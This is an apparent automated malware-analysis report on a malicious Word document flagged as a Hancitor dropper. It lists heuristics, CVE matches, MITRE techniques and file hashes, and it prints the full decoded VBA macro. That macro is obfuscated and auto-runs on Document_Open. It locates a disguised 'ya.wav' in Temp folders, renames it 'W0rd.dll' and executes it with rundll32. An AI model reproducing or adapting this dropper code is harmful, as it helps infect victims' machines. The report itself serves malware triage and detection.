MALICIOUS
610
Risk Score
Malware Insights
MITRE ATT&CK
T1204.002 Malicious File
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious Office document that exploits CVE-2007-3899 to execute embedded code. The Document_Open macro uses ShellExecute to run an embedded PE executable, likely a downloader or dropper. The ClamAV detection name 'Doc.Dropper.Hancitor-9845854-0' further supports its malicious nature as a dropper.
Heuristics 16
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
-
ClamAV: Doc.Dropper.Hancitor-9845854-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Hancitor-9845854-0
-
Embedded PE executable critical OLE_EMBEDDED_EXEMZ/PE header found inside document — possible embedded executable
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
glops = repid Dim regsrva As New Shell32.Shell yy = glops & yy & pushstr & "ll" & "," & "Dll" & "UnregisterServer" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
asdf = RootPath Set fso = CreateObject(cheza & "p" & "ting.FileSystem" & "Object") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
Reference to LoadLibrary API high SC_STR_LOADLIBRARYReference to LoadLibrary API
-
Reference to GetProcAddress API high SC_STR_GETPROCADDRESSReference to GetProcAddress API
-
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECTReference to VirtualProtect API
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3799 bytes |
SHA-256: 09fbe9e99c29b5957293cf750a7e9b796404a68f985e20d90b88809a55a3f666 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Dim glbl As Integer
Private Sub Document_Open()
Dim yy As String
Dim vxcv As Integer
Dim hugs As Integer
hugs = chek
If hugs = 1 Then
Else
Call ssss
Dim pushstr As String
pushstr = "\W" & "0rd.d"
Dim geto As String
Dim pus As String
pus = "xe"
geto = "nd"
Dim ter As String
ter = "e"
Dim jsd As String
jsd = geto
Dim hh As String
hh = "32." & ter & pus
Dim fps As String
fps = "r"
Dim fa As String
fa = fps & "u" & jsd & "ll" & hh
Dim glops As String
glops = repid
Dim regsrva As New Shell32.Shell
yy = glops & yy & pushstr & "ll" & "," & "Dll" & "UnregisterServer"
Call regsrva.ShellExecute(fa, yy, " ", SW_SHOWNORMAL)
End If
End Sub
Attribute VB_Name = "Module10"
Sub gotodown()
Call gototwo
Selection.TypeBackspace
Selection.Copy
End Sub
Sub gototwo()
Selection.MoveDown Unit:=wdLine, Count:=1
Selection.MoveRight Unit:=wdCharacter, Count:=5
Selection.MoveDown Unit:=wdLine, Count:=24
Selection.MoveRight Unit:=wdCharacter, Count:=50
Selection.MoveDown Unit:=wdLine, Count:=24
Selection.MoveRight Unit:=wdCharacter, Count:=5
Selection.MoveDown Unit:=wdLine, Count:=24
Selection.MoveRight Unit:=wdCharacter, Count:=50
End Sub
Sub checkthe(sf As String)
Dim pifpaf As String
pifpaf = sf
Dim pafh As String
pafh = repid
strFileExists = Dir(pifpaf & "\ya.wav")
Dim nothings As String
nothings = pafh
If strFileExists = "" Then
Else
If Dir(nothings & "\" & "W0rd.dll") = "" Then
Name sf & "\ya.wav" As ActiveDocument.AttachedTemplate.Path & "\" & "W0rd.dll"
Else
Exit Sub
End If
End If
End Sub
Function repid()
repid = ActiveDocument.AttachedTemplate.Path
End Function
Attribute VB_Name = "Module12"
Sub hi(myhome As String)
Dim glog As String
glog = ActiveDocument.AttachedTemplate.Path
Dim fu As String
fu = glog & "\W0rd.dll"
Name myhome & "\ya.wav" As fu
End Sub
Attribute VB_Name = "Module11"
Sub ssss()
Dim ntgs
Dim sda
Call gotodown
ntgs = 50
sda = 49
Dim jos
While sda < 50
ntgs = ntgs - 1
If Dir(Left(ActiveDocument.AttachedTemplate.Path, ntgs) & "Loc" & "al\Te" & "mp", vbDirectory) = "" Then
Else
sda = 61
End If
Wend
Call Getme(Left(ActiveDocument.AttachedTemplate.Path, ntgs) & "Local\Temp")
Selection.TypeBackspace
End Sub
Attribute VB_Name = "Module1"
Function Getme(RootPath As String)
Dim hor As String
Dim fso As Object
Dim fld As Object
Dim vhhs As Object
Dim afs As String
Dim myArr
hor = repid
Dim asdf
Dim cheza As String
cheza = "Scri"
asdf = RootPath
Set fso = CreateObject(cheza & "p" & "ting.FileSystem" & "Object")
Set fld = fso.GetFolder(asdf)
strFileExists = Dir(RootPath & "\ya.wav")
If strFileExists = "" Then
For Each vhhs In fld.SUBFOLDERS
afs = vhhs
Call checkthe(afs)
myArr = Getme(vhhs.Path)
Next
Set vhhs = Nothing
Getme = myArr
Set fld = Nothing
Set fso = Nothing
Else
If Dir(hor & "\W0rd.dll") = "" Then
Call hi(RootPath)
Else
Exit Function
End If
End If
End Function
Function chek()
Dim jsa As String
jsa = repid
Dim vzxx As String
vzxx = jsa
If Dir(vzxx & "\W0rd.dll") = "" Then
chek = 0
Else
chek = 1
End If
End Function
|
|||
embedded_office_00021a71.exe |
embedded-pe | Office MZ+PE at offset 0x21A71 | 283535 bytes |
SHA-256: 5a01becd235e137c1727b94a6f4fbe12215ec2e2f1b8f9707d0c5f599645983e |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1669701977/Ole10Native | 243509 bytes |
SHA-256: 202d1b381e0ba08de6a982612ef2a481817ebfbe26c19ee77cc9799071eaa587 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.